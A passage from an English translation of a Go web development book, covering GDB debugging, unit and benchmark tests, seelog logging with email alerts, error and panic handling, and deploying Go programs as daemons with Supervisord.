Also used in its abbreviated form d, delete is used to delete break points. The break point is set followed by the serial number. The serial number can be obtained through the info breakpoints command. Break points set with their corresponding serial numbers are displayed as follows to set a break point number.

Num     Type           Disp Enb Address            What
2       breakpoint     keep y   0x0000000000400dc3 in main.main at /home/xiemengjun/gdb.go:23
breakpoint already hit 1 time


	backtrace



Abbreviated as bt, this command is used to print the execution of the code, for instance:

#0  main.main () at /home/xiemengjun/gdb.go:23
#1  0x000000000040d61e in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#2  0x000000000040d6c1 in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#3  0x0000000000000000 in ?? ()


	info



The info command can be used in conjunction with several parameters to display information. The following parameters are commonly used:


	info locals



Displays the currently executing program’s variable values


	info breakpoints



Displays a list of currently set breakpoints


	info goroutines



Displays the current list of running goroutines, as shown in the following code, with the * indicating the current execution

* 1 running runtime.gosched
* 2 syscall runtime.entersyscall
3 waiting runtime.gosched
4 runnable runtime.gosched


	print



Abbreviated as p, this command is used to print variables or other information. It takes as arguments the variable names to be printed and of course, there are some very useful functions such as $len() and $cap() that can be used to return the length or capacity of the current strings, slices or maps.


	whatis



whatis is used to display the current variable type, followed by the variable name. For instance, whatis msg, will output the following:

type = struct string


	next



Abbreviated as n, next is used in single-step debugging to skip to the next step. When there is a break point, you can enter n to jump to the next step to continue


	continue



Abbreviated as c, continue is used to jump out of the current break point and can be followed by a parameter N, which specifies the number of times to skip the break point


	set variable



This command is used to change the value of a variable in the process. It can be used like so: set variable <var> = <value>





71.2 The debugging process

Now, let’s take a look at the following code to see how GDB is typically used to debug Go programs:

package main

import (
    "fmt"
    "time"
)

func counting(c chan<- int) {
    for i := 0; i < 10; i++ {
        time.Sleep(2 * time.Second)
        c <- i
    }
    close(c)
}

func main() {
    msg := "Starting main"
    fmt.Println(msg)
    bus := make(chan int)
    msg = "starting a gofunc"
    go counting(bus)
    for count := range bus {
        fmt.Println("count:", count)
    }
}

Now we compile the file, creating an executable file called “gdbfile”:

go build -gcflags "-N -l" gdbfile.go

Use the GDB command to start debugging :

gdb gdbfile

After first starting GDB, you’ll have to enter the run command to see your program running. You will then see the program output the following; executing the program directly from the command line will output exactly the same thing:

(gdb) run
Starting program: /home/xiemengjun/gdbfile 
Starting main
count: 0
count: 1
count: 2
count: 3
count: 4
count: 5
count: 6
count: 7
count: 8
count: 9
[LWP 2771 exited]
[Inferior 1 (process 2771) exited normally] 

Ok, now that we know how to get the program up and running, let’s take a look at setting breakpoints:

(gdb) b 23
Breakpoint 1 at 0x400d8d: file /home/xiemengjun/gdbfile.go, line 23.
(gdb) run
Starting program: /home/xiemengjun/gdbfile 
Starting main
[New LWP 3284]
[Switching to LWP 3284]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23          fmt.Println("count:", count)

In the above example, we use the b 23 command to set a break point on line 23 of our code, then enter run to start the program. When our program stops at our breakpoint, we typically need to look at the corresponding source code context. Entering the list command into our GDB session, we can see the five lines of code preceding our breakpoint:

(gdb) list
18      fmt.Println(msg)
19      bus := make(chan int)
20      msg = "starting a gofunc"
21      go counting(bus)
22      for count := range bus {
23          fmt.Println("count:", count)
24      }
25  }

Now that GDB is running the current program environment, we have access to some useful debugging information that we can print out. To see the corresponding variable types and values, type info locals:

(gdb) info locals
count = 0
bus = 0xf840001a50
(gdb) p count
$1 = 0
(gdb) p bus
$2 = (chan int) 0xf840001a50
(gdb) whatis bus
type = chan int

To let the program continue its execution until the next breakpoint, enter the c command:

(gdb) c
Continuing.
count: 0
[New LWP 3303]
[Switching to LWP 3303]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)
(gdb) c
Continuing.
count: 1
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)

After each c, the code will execute once then jump to the next iteration of the for loop. It will, of course, continue to print out the appropriate information.

Let’s say that you need to change the context variables in the current execution environment, skip the process then continue to the next step. You can do so by first using info locals to get the variable states, then the set variable command to modify them:

(gdb) info locals
count = 2
bus = 0xf840001a50
(gdb) set variable count=9
(gdb) info locals
count = 9
bus = 0xf840001a50
(gdb) c
Continuing.
count: 9
[Switching to LWP 3302]

Breakpoint 1, main.main () at /home/xiemengjun/gdbfile.go:23
23 fmt.Println("count:", count)     

Finally, while running, the program creates a number of number goroutines. We can see what each goroutine is doing using info goroutines:

(gdb) info goroutines
* 1 running runtime.gosched
* 2 syscall runtime.entersyscall 
3 waiting runtime.gosched 
4 runnable runtime.gosched
(gdb) goroutine 1 bt
#0 0x000000000040e33b in runtime.gosched () at /home/xiemengjun/go/src/pkg/runtime/proc.c:927
#1 0x0000000000403091 in runtime.chanrecv (c=void, ep=void, selected=void, received=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:327
#2 0x000000000040316f in runtime.chanrecv2 (t=void, c=void)
at /home/xiemengjun/go/src/pkg/runtime/chan.c:420
#3 0x0000000000400d6f in main.main () at /home/xiemengjun/gdbfile.go:22
#4 0x000000000040d0c7 in runtime.main () at /home/xiemengjun/go/src/pkg/runtime/proc.c:244
#5 0x000000000040d16a in schedunlock () at /home/xiemengjun/go/src/pkg/runtime/proc.c:267
#6 0x0000000000000000 in ?? ()

From the goroutines command, we can have a better picture of what Go’s runtime system is doing internally; the calling sequence for each function is plainly displayed.





71.3 Summary

In this section, we introduced some basic commands from the GDB debugger that you can use to debug your Go applications. These included the run, print, info, set variable, continue, list and break commands, among others. From the brief examples above, I hope that you will have a better understanding of how the debugging process works in Go using the GDB debugger. If you want to get more debugging tips, please refer to the GDB manual on its official website.





71.4 Links


	Directory

	Previous section: Error handling

	Next section: Write test cases







72 11.3 Writing test cases

In the course of development, a very important step is to test our code to ensure its quality and integrity. We need to make sure that every function returns the expected result, and that our code performs optimally. We already know that the focus of unit tests is to find logical errors in the design or implementation of programs. They are used to detect and expose problems in code early on so that we can more easily fix them, before they get out of hand. We also know that performance tests are conducted for the purpose of optimizing our code so that it is stable under load, and can maintain a high level of concurrency. In this section, we’ll take a look at some commonly asked questions about how unit and performance tests are implemented in Go.

The Go language comes with a lightweight testing framework called testing, and we can use the go test command to execute unit and performance tests. Go’s testing framework works similarly to testing frameworks in other languages. You can develop all sorts of test suites with them, which may include tests for unit testes, benchmarking, stress tests, etc. Let’s learn about testing in Go, step by step.





72.1 How to write test cases

Since the go test command can only be executed in a directory containing all corresponding files, we are going to create a new project directory gotest so that all of our code and test code are in the same directory.

Let’s go ahead and create two files in the directory called gotest.go and gotest_test.go


	Gotest.go: This file declares our package name and has a function that performs a division operation:

<pre>package gotest

import (

 “errors”

)

func Division(a, b float64) (float64, error) {

 if b == 0 {

 return 0, errors.New(“Divisor can not be 0”)

 }

 return a / b, nil

}</pre>


	Gotest_test.go: This is our unit test file. Keep in mind the following principles for test files:





	File names must end in _test.go so that go test can find and execute the appropriate code

	You have to import the testing package

	All test case functions begin with Test

	Test cases follow the source code order

	Test functions of the form TestXxx() take a testing.T argument; we can use this type to record errors or to get the testing status

	In functions of the form func TestXxx(t * testing.T), the Xxx section can be any alphanumeric combination, but the first letter cannot be a lowercase letter [az]. For example, Testintdiv would be an invalid function name.

	By calling one of the Error, Errorf, FailNow, Fatal or FatalIf methods of testing.T on our testing functions, we can fail the test. In addition, we can call the Log method of testing.T to record the information in the error log.



Here is our test code:

package gotest

import (
    "testing"
)

func Test_Division_1(t *testing.T) {
    // try a unit test on function
    if i, e := Division(6, 2); i != 3 || e != nil { 
        // If it is not as expected, then the test has failed 
        t.Error("division function tests do not pass ") 
    } else {
        // record the expected information
        t.Log("first test passed ") 
    }
}

func Test_Division_2(t *testing.T) {
    t.Error("just does not pass")
}

When executing go test in the project directory, it will display the following information:

--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.013s

We can see from this result that the second test function does not pass since we wrote in a dead-end using t.Error. But what about the performance of our first test function? By default, executing go test does not display test results. We need to supply the verbose argument -v like go test -v to display the following output:

=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
=== RUN Test_Division_2
--- FAIL: Test_Division_2 (0.00 seconds)
gotest_test.go: 16: is not passed
FAIL
exit status 1
FAIL gotest 0.012s

The above output shows in detail the results of our test. We see that the test function 1 Test_Division_1 passes, and the test function 2 Test_Division_2 fails, finally concluding that our test suite does not pass. Next, we modify the test function 2 with the following code:

func Test_Division_2(t *testing.T) {
    // try a unit test on function
    if _, e := Division(6, 0); e == nil { 
        // If it is not as expected, then the error
        t.Error("Division did not work as expected.") 
    } else {
        // record some of the information you expect to record
        t.Log("one test passed.", e) 
    }
}

We execute go test-v once again. The following information should now be displayed -the test suite has passed~:

=== RUN Test_Division_1
--- PASS: Test_Division_1 (0.00 seconds)
gotest_test.go: 11: first test passed
=== RUN Test_Division_2
--- PASS: Test_Division_2 (0.00 seconds)
gotest_test.go: 20: one test passed. divisor can not be 0
PASS
ok gotest 0.013s





72.2 How to write stress tests

Stress testing is used to detect function performance, and bears some resemblance to unit testing (which we will not get into here), however we need need to pay attention to the following points:


	Stress tests must follow the following format, where XXX can be any alphanumeric combination and its first letter cannot be a lowercase letter.

func BenchmarkXXX (b *testing.B){…}


	By default, Go test does not perform function stress tests. If you want to perform stress tests, you need to set the flag -test.bench with the format: -test.bench="test_name_regex". For instance, to run all stress tests in your suite, you would run go test -test.bench=".*".

	In your stress tests, please remember to use testing.BN any loop bodies, so that the tests can be run properly.

	As before, test file names must end in _test.go




Here we create a stress test file called webbench_test.go:

package gotest

import (
    "testing"
)

func Benchmark_Division(b *testing.B) {
    for i := 0; i < bN; i++ { // use bN for looping
        Division(4, 5)
    }
}

func Benchmark_TimeConsumingFunction(b *testing.B) {
    b.StopTimer() // call the function to stop the stress test time count

    // Do some initialization work, such as reading file data, database connections and the like,
    // So that our benchmarks reflect the performance of the function itself

    b.StartTimer() // re-start time
    for i := 0; i < b.N; i++ {
        Division(4, 5)
    }
}

We then execute the go test -file webbench_test.go -test.bench =".*" command, which outputs the following results:

PASS
Benchmark_Division 500000000 7.76 ns/ op
Benchmark_TimeConsumingFunction 500000000 7.80 ns/ op
ok gotest 9.364s

The above results show that we did not perform any of our TestXXX unit test functions, and instead only performed our BenchmarkXXX tests (which is exactly as expected). The first Benchmark_Division test shows that our Division() function executed 500 million times, with an average execution time of 7.76ns. The second Benchmark_TimeConsumingFunction shows that our TmeConsumingFunction executed 500 million times, with an average execution time of 7.80ns. Finally, it outputs the total execution time of our test suite.





72.3 Summary

From our brief encounter with unit and stress testing in Go, we can see that the testing package is very lightweight, yet packed with useful utilities. We saw that writing unit and stress tests can be very simple, and running them can be even easier with Go’s built-in go test command. Every time we modify our code, we can simply run go test to begin regression testing.





72.4 Links
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73 11.4 Summary

Over the course of the last three sections, we’ve introduced how to handle errors in Go, first looking at good error handling practices and design, then learning how to use the GDB debugger effectively. We saw that with GDB, we can perform single-step debugging, view and modify our program variables during execution, and print out the relevant process information. Finally, we described how to use Go’s built-in testing framework to write unit and stress tests. Properly using this framework allows us to easily make any future changes to our code and perform the necessary regression testing. Good web applications must have good error handling, and part of that is having readable errors and error handling mechanisms which can scale in a predictable manner. Using the tools mentioned above as well as writing high quality and thorough unit and stress tests, we can have peace of mind knowing that once our applications are live, they can maintain optimal performance and run as expected.





73.1 Links


	Directory

	Previous section: Write test cases

	Next chapter: Deployment and maintenance







74 12 Deployment and maintenance

So far, we’ve covered the basics of developing, debugging and testing web applications in Go. As is often said, however: the last 10% of development takes 90% of the time. In this chapter, we will be emphasizing this last 10% of application development in order to truly craft reliable and high quality web applications. In the first section, we will examine how production services generate logs, and the process of logging itself. The second section will describe dealing with runtime errors, and how to manage them when they occur so that the impact on end users is minimized. In the third section, we tackle the subject of deploying standalone Go programs, which can be tricky at first. As you might know, Go programs cannot be written with daemons like you would with a language such as C. We’ll discuss how background processes are typically managed in Go. Finally, our fourth and last section will address the process of backing up and recovering application data in Go. We’ll take a look at some techniques for ensuring that in the event of a crash, we will be able to maintain the integrity of our data.
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	Previous chapter: Chapter 11 summary

	Next section: Logs







75 12.1 Logs

We want to build web applications that can keep track of events which have occurred throughout execution, combining them all into one place for easy access later on, when we inevitably need to perform debugging or optimization tasks. Go provides a simple log package which we can use to help us implement simple logging functionality. Logs can be printed using Go’s fmt package, called inside error handling functions for general error logging. Go’s standard package only contains basic functionality for logging, however. There are many third party logging tools that we can use to supplement it if your needs are more sophisticated (tools similar to log4j and log4cpp, if you’ve ever had to deal with logging in Java or C++). A popular and fully featured, open-source logging tool in Go is the seelog logging framework. Let’s take a look at how we can use seelog to perform logging in our Go applications.





75.1 Introduction to seelog

Seelog is a logging framework for Go that provides some simple functionality for implementing logging tasks such as filtering and formatting. Its main features are as follows:


	Dynamic configuration via XML; you can load configuration parameters dynamically without recompiling your program

	Supports hot updates, the ability to dynamically change the configuration without the need to restart the application

	Supports multi-output streams that can simultaneously pipe log output to multiple streams, such as a file stream, network flow, etc.

	Support for different log outputs


	Command line output

	File Output

	Cached output

	Support log rotate

	SMTP Mail






The above is only a partial list of seelog’s features. To fully take advantage of all of seelog’s functionality, have a look at its official wiki which thoroughly documents what you can do with it. Let’s see how we’d use seelog in our projects:

First install seelog:

go get -u github.com/cihub/seelog

Then let’s write a simple example:

package main

import log "github.com/cihub/seelog"

func main() {
    defer log.Flush()
    log.Info("Hello from Seelog!")
}

Compile and run the program. If you see a Hello from seelog in your application log, seelog has been successfully installed and is running operating normally.





75.2 Custom log processing with seelog

Seelog supports custom log processing. The following code snippet is based on the its custom log processing part of its package:

package logs

import (
    "errors"
    "fmt"
    seelog "github.com/cihub/seelog"
    "io"
)

var Logger seelog.LoggerInterface

func loadAppConfig() {
    appConfig := `
<seelog minlevel="warn">
    <outputs formatid="common">
        <rollingfile type="size" filename="/data/logs/roll.log" maxsize="100000" maxrolls="5"/>
        <filter levels="critical">
            <file path="/data/logs/critical.log" formatid="critical"/>
            <smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
                <recipient address="xiemengjun@gmail.com"/>
            </smtp>
        </filter>
    </outputs>
    <formats>
        <format id="common" format="%Date/%Time [%LEV] %Msg%n" />
        <format id="critical" format="%File %FullPath %Func %Msg%n" />
        <format id="criticalemail" format="Critical error on our server!\n    %Time %Date %RelFile %Func %Msg \nSent by Seelog"/>
    </formats>
</seelog>
`
    logger, err := seelog.LoggerFromConfigAsBytes([]byte(appConfig))
    if err != nil {
        fmt.Println(err)
        return
    }
    UseLogger(logger)
}

func init() {
    DisableLog()
    loadAppConfig()
}

// DisableLog disables all library log output
func DisableLog() {
    Logger = seelog.Disabled
}

// UseLogger uses a specified seelog.LoggerInterface to output library log.
// Use this func if you are using Seelog logging system in your app.
func UseLogger(newLogger seelog.LoggerInterface) {
    Logger = newLogger
}

The above implements the three main functions:


	DisableLog



Initializes a global variable Logger with seelog disabled, mainly in order to prevent the logger from being repeatedly initialized


	LoadAppConfig



Initializes the configuration settings of seelog according to a configuration file. In our example we are reading the configuration from an in-memory string, but of course, you can read it from an XML file also. Inside the configuration, we set up the following parameters:


	Seelog



The minlevel parameter is optional. If configured, logging levels which are greater than or equal to the specified level will be recorded. The optional maxlevel parameter is similarly used to configure the maximum logging level desired.


	Outputs



Configures the output destination. In our particular case, we channel our logging data into two output destinations. The first is a rolling log file where we continuously save the most recent window of logging data. The second destination is a filtered log which records only critical level errors. We additionally configure it to alert us via email when these types of errors occur.


	Formats



Defines the various logging formats. You can use custom formatting, or predefined formatting -a full list of predefined formats can be found on seelog’s wiki


	UseLogger



Set the current logger as our log processor

Above, we’ve defined and configured a custom log processing package. The following code demonstrates how we’d use it:

package main

import (
    "net/http"
    "project/logs"
    "project/configs"
    "project/routes"
)

func main() {
    addr, _ := configs.MainConfig.String("server", "addr")
    logs.Logger.Info("Start server at:%v", addr)
    err := http.ListenAndServe(addr, routes.NewMux())
    logs.Logger.Critical("Server err:%v", err)
}





75.3 Email notifications

The above example explains how to set up email notifications with seelog. As you can see, we used the following smtp configuration:

<smtp formatid="criticalemail" senderaddress="astaxie@gmail.com" sendername="ShortUrl API" hostname="smtp.gmail.com" hostport="587" username="mailusername" password="mailpassword">
    <recipient address="xiemengjun@gmail.com"/>
</smtp>

We set the format of our alert messages through the criticalemail configuration, providing our mail server parameters to be able to receive them. We can also configure our notifier to send out alerts to additional users using the recipient configuration. It’s a simple matter of adding one line for each additional recipient.

To test whether or not this code is working properly, you can add a fake critical message to your application like so:

logs.Logger.Critical("test Critical message")

Don’t forget to delete it once you’re done testing, or when your application goes live, your inbox may be flooded with email notifications.

Now, whenever our application logs a critical message while online, you and your specified recipients will receive a notification email. You and your team can then process and remedy the situation in a timely manner.





75.4 Using application logs

When it comes to logs, each application’s use-case may vary. For example, some people use logs for data analysis purposes, others for performance optimization. Some logs are used to analyze user behavior and how people interact with your website. Of course, there are logs which are simply used to record application events as auxiliary data for finding problems.

As an example, let’s say we need to track user attempts at logging into our system. This involves recording both successful and unsuccessful login attempts into our log. We’d typically use the “Info” log level to record these types of events, rather than something more serious like “warn”. If you’re using a linux-type system, you can conveniently view all unsuccessful login attempts from the log using the grep command like so:

# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password

This way, we can easily find the appropriate information in our application log, which can help us to perform statistical analysis if needed. In addition, we also need to consider the size of logs generated by high-traffic web applications. These logs can sometimes grow unpredictably. To resolve this issue, we can set seelog up with the logrotate configuration to ensure that single log files do not consume excessive disk space.





75.5 Summary

In this section, we’ve learned the basics of seelog and how to build a custom logging system with it. We saw that we can easily configure seelog into as powerful a log processing system as we need, using it to supply us with reliable sources of data for analysis. Through log analysis, we can optimize our system and easily locate the sources of problems when they arise. In addition, seelog ships with various default log levels. We can use the minlevel configuration in conjunction with a log level to easily set up tests or send automated notification messages.





75.6 Links


	Directory

	Previous section: Deployment and maintenance

	Next section: Errors and crashes







76 12.2 Errors and crashes

Once our web applications go live, it’s likely that there will be some unforeseen errors. A few example of common errors that may occur in the course of your application’s daily operations, are listed below:


	Database Errors: errors related to accessing the database server or stored data. The following are some database errors which you may encounter:


	Connection Errors: indicates that a connection to the network database server could not be established, a supplied user name or password is incorrect, or that the database does not exist.

	Query Errors: the illegal or incorrect use of an SQL query can raise an error such as this. These types of errors can be avoided through rigorous testing.

	Data Errors: database constraint violation such as attempting to insert a field with a duplicate primary key. These types of errors can also be avoided through rigorous testing before deploying your application into a production environment.

	Application Runtime Errors: These types of errors vary greatly, covering almost all error codes which may appear during runtime. Possible application errors are as follows:


	File system and permission errors: when the application attempts to read a file which does not exist or does not have permission to read, or when it attempts to write to a file which it is not allowed to write to, errors of this category will occur. A file system error will also occur if an application reads a file with an unexpected format, for instance a configuration file that should be in the INI format but is instead structured as JSON.

	Third-party application errors: These errors occur in applications which interface with other third-party applications or services. For instance, if an application publishes tweets after making calls to Twitter’s API, it’s obvious that Twitter’s services must be up and running in order for our application to complete its task. We must also ensure that we supply these third-party interfaces with the appropriate parameters in our calls, or else they will also return errors.


	HTTP errors: These errors vary greatly, and are based on user requests. The most common is the 404 Not Found error, which arises when users attempt to access non-existent resources in your application. Another common HTTP error is the 401 Unauthorized error (authentication is required to access the requested resource), 403 Forbidden error (users are altogether refused access to this resource) and 503 Service Unavailable errors (indicative of an internal program error).

	Operating system errors: These sorts of errors occur at the operating system layer and can happen when operating system resources are over-allocated, leading to crashes and system instability. Another common occurrence at this level is when the operating system disk gets filled to capacity, making it impossible to write to. This naturally produces in many errors.

	Network errors: network errors typically come in two flavors: one is when users issue requests to the application and the network disconnects, thus disrupting its processing and response phase. These errors do not cause the application to crash, but can affect user access to the website; the other is when applications attempts to read data from disconnected networks, causing read failures. Judicious testing is particularly important when making network calls to avoid such problems, which can cause your application to crash.








76.1 Error handling goals

Before implementing error handling, we must be clear about what goals we are trying to achieve. In general, error handling systems should accomplish the following:


	User error notifications: when system or user errors occur, causing current user requests to fail to complete, affected users should be notified of the problem. For example, for errors cause by user requests, we show a unified error page (404.html). When a system error occurs, we use a custom error page to provide feedback for users as to what happened -for instance, that the system is temporarily unavailable (error.html).

	Log errors: when system errors occur (in general, when functions return non-nil error variables), a logging system such as the one described earlier should be used to record the event into a log file file. If it is a fatal error, the system administrator should also be notified via e-mail. In general however, most 404 errors do not warrant the sending of email notifications; recording the event into a log for later scrutiny is often adequate.

	Roll back the current request operation: If a user request causes a server error, then we need to be able to roll back the current operation. Let’s look at an example: a system saves a user-submitted form to its database, then submits this data to a third-party server. However, the third-party server disconnects and we are unable to establish a connection with it, which results in an error. In this case, the previously stored form data should be deleted from the database (void should be informed), and the application should inform the user of the system error.

	Ensure that the application can recover from errors: we know that it’s difficult for any program to guarantee 100% uptime, so we need to make provision for scenarios where our programs fail. For instance if our program crashes, we first need to log the error, notify the relevant parties involved, then immediately get the program up and running again. This way, our application can continue to provide services while a system administrator investigates and fixes the cause of the problem.







76.2 How to handle errors

In chapter 11, we addressed the process of error handling and design using some examples. Let’s go into these examples in a bit more detail, and see some other error handling scenarios:


	Notify the user of errors:



When an error occurs, we can present the user accessing the page with two kinds of errors pages: 404.html and error.html. Here is an example of what the source code of an error page might look like:

<html lang="en">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>Page Not Found
  </title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>

<body>
  <div class="container">
    <div class="row">
      <div class="span10">
        <div class="hero-unit">
          <h1> 404! </h1>
          <p>{{.ErrorInfo}}</p>
        </div>
      </div>
      <!--/span-->
    </div>
  </div>
</body>

</html>

Another example:

<html lang="en">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
  <title>system error page
  </title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0">

</head>

<body>
  <div class="container">
    <div class="row">
      <div class="span10">
        <div class="hero-unit">
          <h1> system is temporarily unavailable ! </h1>
          <p>{{.ErrorInfo}}</p>
        </div>
      </div>
      <!--/span-->
    </div>
  </div>
</body>

</html>

404 error-handling logic, in the occurrence of a system error:

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    NotFound404(w, r)
    return
}

func NotFound404(w http.ResponseWriter, r *http.Request) {
    log.Error(" page not found")              //error logging
    t, _ = t.ParseFiles("tmpl/404.html", nil) //parse the template file
    ErrorInfo := " File not found "           //Get the current user information
    t.Execute(w, ErrorInfo)                   //execute the template merger operation
}

func SystemError(w http.ResponseWriter, r *http.Request) {
    log.Critical(" System Error")                      //system error triggered Critical, then logging will not only send a message
    t, _ = t.ParseFiles("tmpl/error.html", nil)        //parse the template file
    ErrorInfo := " system is temporarily unavailable " //Get the current user information
    t.Execute(w, ErrorInfo)                            //execute the template merger operation
}





76.3 How to handle exceptions

We know that many other languages have try... catch keywords used to capture the unusual circumstances, but in fact, many errors can be expected to occur without the need for exception handling, and can be instead treated as an errors. It’s for this reason that Go functions return errors by design. For example, if a file is not found or if os.Open returns an error, these functions will not panic; as another example, if a network connection gets disconnected during a data write operation, the net.Conn family of Write functions will return errors instead of panicking. These error states are to be expected in most applications and Go particularly makes it explicit when operations might fail by returning error variables. Looking at the example above, we can clearly see the errors that can be expected to occur.

There are, however, cases where panic should be used. For instance in operations where failure is almost impossible, or in certain situations where there is no way to return an error and the operation cannot continue, panic should be used. Take for example a program that tries to obtain the value of an array at x[j], but the index j is out of bounds. This part of the code will cause the program to panic, as will other critical, unexpected errors of this nature. By default, panicking will kill off the offending process (goroutine), allowing the code which dispatched the goroutine an opportunity to recover from the error. This way, the function in which the error occurred as well as all subsequent code after it will not continue to execute. Go’s panic was deliberately designed with this behavior in mind, which is different than typical error handling; panic is really just exception handling. In the example below, we expect that User[UID] will return a username from the User array, but the UID that we use is out of bounds and throws an exception. If we do not have a recovery mechanism to deal with this immediately, the process will be killed, and the panic will propagate up the stack until our program finally crashes. In order for our application to be robust and resilient to these kinds of runtime errors, we need to implement recovery mechanisms in certain places.

func GetUser(uid int) (username string) {
    defer func() {
        if x := recover(); x != nil {
            username = ""
        }
    }()

    username = User[uid]
    return
}

The above describes the differences between errors and exceptions. So, when it comes down to developing our Go applications, when do we use one or the other? The rules are simple: if you define a function that you anticipate might fail, then return an error variable. When calling another package’s function, if it is implemented well, there should be no need to worry that it will panic unless a true exception has occurred (whether recovery logic has been implemented or not). Panic and recover should only be used internally inside packages to deal with special cases where the state of the program cannot be guaranteed, or when a programmer’s error has occurred. Externally facing APIs should explicitly return error values.





76.4 Summary

This is section summarizes how web applications should handle various errors such as network, database and operating system errors, among others. We’ve outline several techniques to effectively deal with runtime errors such as: displaying user-friendly error notifications, rolling back actions, logging, and alerting system administrators. Finally, we explained how to correctly handle errors and exceptions. The concept of an error is often confused with that of an exception, however in Go, there is a clear distinction between the two. For this reason, we’ve discussed the principles of processing both errors and exceptions in web applications.





76.5 Links


	Directory

	Previous section: Logs

	Next section: Deployment







77 12.3 Deployment

When our web application is finally production ready, what are the steps necessary to get it deployed? In Go, an executable file encapsulating our application is created after we compile our programs. Programs written in C can run perfectly as background daemon processes, however Go does not yet have native support for daemons. The good news is that we can use third party tools to help us manage the deployment of our Go applications, examples of which are Supervisord, upstart and daemontools, among others. This section will introduce you to some basics of the Supervisord process control system.





77.1 Daemons

Currently, Go programs cannot cannot be run as daemon processes (for additional information, see the open issue on github here). It’s difficult to fork existing threads in Go because there is no way of ensuring a consistent state in all threads that have been used.

We can, however, see many attempts at implementing daemons online, such as in the two following ways;


	MarGo one implementation of the concept of using Command to deploy applications. If you really want to daemonize your applications, it is recommended to use code similar to the following:



<pre>

 d := flag.Bool(“d”, false, “Whether or not to launch in the background(like a daemon)”)

 if d {

 cmd := exec.Command(os.Args[0],

 “-close-fds”,

 “-addr”, addr,

 “-call”, *call,

 )

 serr, err := cmd.StderrPipe()

 if err != nil {

 log.Fatalln(err)

 }

 err = cmd.Start()

 if err != nil {

 log.Fatalln(err)

 }

 s, err := ioutil.ReadAll(serr)

 s = bytes.TrimSpace(s)

 if bytes.HasPrefix(s, []byte(“addr:”)) {

 fmt.Println(string(s))

 cmd.Process.Release()

 } else {

 log.Printf(“unexpected response from MarGo: %s error: %v\n”, s, err)

 cmd.Process.Kill()

 }

 }

</pre>


	Another solution is to use syscall, but this solution is not perfect:



    package main
     
    import (
        "log"
        "os"
        "syscall"
    )
     
    func daemon(nochdir, noclose int) int {
        var ret, ret2 uintptr
        var err uintptr
     
        darwin := syscall.OS == "darwin"
     
        // already a daemon
        if syscall.Getppid() == 1 {
            return 0
        }
     
        // fork off the parent process
        ret, ret2, err = syscall.RawSyscall(syscall.SYS_FORK, 0, 0, 0)
        if err != 0 {
            return -1
        }
     
        // failure
        if ret2 < 0 {
            os.Exit(-1)
        }
     
        // handle exception for darwin
        if darwin && ret2 == 1 {
            ret = 0
        }
     
        // if we got a good PID, then we call exit the parent process.
        if ret > 0 {
            os.Exit(0)
        }
     
        /* Change the file mode mask */
        _ = syscall.Umask(0)
     
        // create a new SID for the child process
        s_ret, s_errno := syscall.Setsid()
        if s_errno != 0 {
            log.Printf("Error: syscall.Setsid errno: %d", s_errno)
        }
        if s_ret < 0 {
            return -1
        }
     
        if nochdir == 0 {
            os.Chdir("/")
        }
     
        if noclose == 0 {
            f, e := os.OpenFile("/dev/null", os.O_RDWR, 0)
            if e == nil {
                fd := f.Fd()
                syscall.Dup2(fd, os.Stdin.Fd())
                syscall.Dup2(fd, os.Stdout.Fd())
                syscall.Dup2(fd, os.Stderr.Fd())
            }
        }
     
        return 0
    }

While the two solutions above implement daemonization in Go, I still cannot recommend that you use either methods since there is no official support for daemons in Go. Notwithstanding this fact, the first option is the more feasible one, and is currently being used by some well-known open source projects like skynet for implementing daemons.





77.2 Supervisord

Above, we’ve looked at two schemes that are commonly used to implement daemons in Go, however both methods lack official support. So, it’s recommended that you use a third-party tool to manage application deployment. Here we take a look at the Supervisord project, implemented in Python, which provides extensive tools for process management. Supervisord will help you to daemonize your Go applications, also allowing you to do things like start, shut down and restart your applications with some simple commands, among many other actions. In addition, Supervisord managed processes can automatically restart processes which have crashed, ensuring that programs can recover from any interruptions.


As an aside, I recently fell into a common pitfall while trying to deploy an application using Supervisord. All applications deployed using Supervisord are born out of the Supervisord parent process. When you change an operating system file descriptor, don’t forget to completely restart Supervisord -simply restarting the application it is managing will not suffice. When I first deployed an application with Supervisord, I modified the default file descriptor field, changing the default number from 1024 to 100,000 and then restarting my application. In reality, Supervisord continued using only 1024 file descriptors to manage all of my application’s processes. Upon deploying my application, the logger began reporting a lack of file descriptors! It was a long process finding and fixing this mistake, so beware!







77.2.1 Installing Supervisord

Supervisord can easily be installed using sudo easy_install supervisor. Of course, there is also the option of directly downloading it from its official website, uncompressing it, going into the folder then running setup.py install to install it manually.


	If you’re going the easy_install route, then you need to first install setuptools



Go to http://pypi.python.org/pypi/setuptools#files and download the appropriate file, depending on your system’s python version. Enter the directory and execute sh setuptoolsxxxx.egg. When then script is done, you’ll be able to use the easy_install command to install Supervisord.





77.2.2 Configuring Supervisord

Supervisord’s default configuration file path is /etc/supervisord.conf, and can be modified using a text editor. The following is what a typical configuration file may look like:

;/etc/supervisord.conf
[unix_http_server]
file = /var/run/supervisord.sock
chmod = 0777
chown= root:root

[inet_http_server]
# Web management interface settings
port=9001
username = admin
password = yourpassword

[supervisorctl]
; Must 'unix_http_server' match the settings inside
serverurl = unix:///var/run/supervisord.sock

[supervisord]
